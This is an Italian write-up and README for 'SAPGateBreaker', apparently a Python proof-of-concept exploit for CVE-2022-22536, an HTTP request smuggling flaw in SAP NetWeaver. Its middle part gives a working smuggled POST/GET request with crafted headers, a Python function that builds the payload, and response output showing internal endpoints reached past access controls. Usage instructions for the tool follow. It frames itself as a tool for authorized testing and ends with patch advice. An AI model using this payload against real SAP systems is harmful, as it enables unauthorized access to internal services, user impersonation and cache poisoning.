
SAPGateBreaker è un exploit PoC per CVE-2022-22536, una vulnerabilità critica di HTTP Request Smuggling in SAP NetWeaver. Dimostra come bypassare le ACL desincronizzando il parsing delle richieste tra ICM e servizi backend utilizzando payload basati su Content-Length manipolati.
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 e SAP Web Dispatcher sono vulnerabili a request smuggling e concatenazione di richieste. Un attaccante non autenticato può anteporre dati arbitrari alla richiesta di una vittima. In questo modo, l'attaccante può eseguire funzioni impersonando la vittima o avvelenare le cache Web intermedie. Un attacco riuscito potrebbe portare alla compromissione totale della Riservatezza, dell'Integrità e della Disponibilità del sistema.
SAPGateBreaker è un exploit PoC per CVE-2022-22536, una vulnerabilità critica di HTTP Request Smuggling in SAP NetWeaver. Dimostra come bypassare le ACL desincronizzando il parsing delle richieste tra ICM e servizi backend utilizzando payload basati su Content-Length appositamente realizzati.

La vulnerabilità identificata come CVE-2022-22536 rappresenta un difetto critico in SAP NetWeaver Application Server, esponendo le installazioni ad attacchi di HTTP Request Smuggling. Questa vulnerabilità, con un punteggio CVSS di 9.8, colpisce sia gli stack Java che ABAP, consentendo agli attaccanti di bypassare i meccanismi di controllo degli accessi e interagire con le applicazioni interne come se fossero sulla rete interna.
Comprendere l'HTTP Request Smuggling
L'HTTP Request Smuggling (HRS) è una tecnica avanzata che sfrutta le discrepanze nel modo in cui diversi componenti di un'infrastruttura web (tipicamente proxy, bilanciatori di carico e server backend) interpretano i confini tra le richieste HTTP. Manipolando header come Content-Length e Transfer-Encoding, un attaccante può "contrabbandare" una richiesta malevola che risulta desincronizzata rispetto a quanto previsto dal server backend.
In sostanza, quando un server front-end e un server back-end discordano su dove finisce una richiesta e inizia la successiva, un attaccante può iniettare una seconda richiesta nascosta che verrà elaborata con maggiore fiducia. Ciò spesso si traduce in bypass di sicurezza come evasione WAF, avvelenamento della cache o elusione delle ACL.
La natura di CVE-2022-22536
L'ICM (Internet Communication Manager) di SAP analizza in modo improprio richieste HTTP appositamente create, consentendo a una richiesta contrabbandata di raggiungere servizi interni. Ciò è particolarmente impattante in architetture segmentate, dove l'accesso diretto ai servizi interni è limitato. Sfruttando questa vulnerabilità, gli attaccanti possono inviare richieste che sembrano provenire dalla rete interna attendibile.
La vulnerabilità si manifesta quando un payload abusa di interpretazioni contrastanti della fine di una richiesta HTTP. Ciò comporta comunemente l'iniezione di un header Transfer-Encoding: chunked o la manipolazione del campo Content-Length per causare la desincronizzazione.
Fallimenti iniziali del payload e rifiuto della codifica chunked
Durante i test, i payload che sfruttavano le tecniche canoniche di chunked smuggling hanno portato a risposte 408 Request Timeout da parte di SAP ICM. Questo comportamento indicava che lo stack HTTP di SAP non supporta Transfer-Encoding: chunked nel modo previsto, impedendo la tradizionale desincronizzazione basata su chunk.
Di conseguenza, la metodologia dell'exploit è stata spostata verso l'uso di header Content-Length per la desincronizzazione. Una richiesta appositamente realizzata con un payload chunked vuoto seguito da una richiesta HTTP secondaria valida ha bypassato con successo i confini delle richieste. Questa strategia alternativa si è rivelata efficace nell'eludere i controlli di accesso interni.
Strategia finale dell'exploit e implementazione del codice
L'exploit funzionante invia una richiesta POST a un endpoint pubblico (/sap/admin/public/default.html) con un header Content-Length, seguita da una richiesta GET incorporata destinata a raggiungere una risorsa interna.
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128
0
GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close
Ciò produce un accesso interno riuscito:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive
L'implementazione itera attraverso un elenco di URL SAP interni normalmente limitati. Viene effettuato un confronto tra il codice di stato ricevuto tramite accesso diretto e quello ricevuto quando si accede tramite la richiesta contrabbandata. Se l'accesso interno restituisce 200 (mentre l'accesso diretto restituisce 403 o 404), indica che la tecnica di smuggling ha bypassato con successo i controlli di accesso interni.
La logica per costruire il payload:
def build_smuggled_request(path):
return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"
L'attacco viene eseguito utilizzando una richiesta POST appositamente realizzata contenente il payload contrabbandato:
headers = {
"Host": f"{host}:{port}",
"Authorization": "Basic YTph",
"Cookie": "saplb_*=(J2EE7364720)7364750",
"Content-Type": "application/json",
"Content-Length": str(len(body.encode("utf-8")))
}
Risultati osservati
In diversi casi di test, endpoint come /sap/public/bc/icf/info o /heapdump/, che normalmente restituivano 403 Forbidden o 404 Not Found, hanno risposto con 200 OK quando acceduti tramite la richiesta contrabbandata. Ciò dimostra un'elusione riuscita dei controlli di accesso di SAP.
L'output dello strumento includeva sia i payload inviati che gli header di risposta, consentendo una precisa validazione forense:
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...
>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...
Richiesta Normale:


Richiesta Exploit:


Conclusione
CVE-2022-22536 evidenzia la minaccia persistente rappresentata dall'HTTP Request Smuggling negli stack software aziendali moderni. Il proof-of-concept presentato è una dimostrazione della vulnerabilità sottostante e funge da strumento per la validazione e i test di difesa.
Si consiglia vivamente agli amministratori di applicare gli aggiornamenti di sicurezza SAP e di implementare adeguate protezioni tramite proxy inverso per prevenire la propagazione di richieste HTTP malformate.
Ulteriori dettagli su CVE-2022-22536 sono disponibili su: https://nvd.nist.gov/vuln/detail/CVE-2022-22536
Nota di sicurezza SAP: https://launchpad.support.sap.com/#/notes/3123396
SAPGateBreaker Exploit
SAPGateBreaker è uno strumento Python autonomo che automatizza i test per CVE-2022-22536, una vulnerabilità critica di HTTP Request Smuggling in SAP NetWeaver Application Server.
Utilizzo
python3 sapgatebreaker.py -u http://<host-target>:<porta> [--verbose]
Argomenti:
-u, --url: URL target (es. http://172.32.22.7:50000)-v, --verbose: Abilita l'output dettagliato di header e corpo per ogni richiesta e rispostaCaratteristiche:
poc.txt per ulteriori analisiDisclaimer
Questo strumento è destinato esclusivamente a scopi educativi e test di penetrazione autorizzati. L'uso non autorizzato contro sistemi senza esplicita autorizzazione è severamente vietato e può violare le leggi applicabili.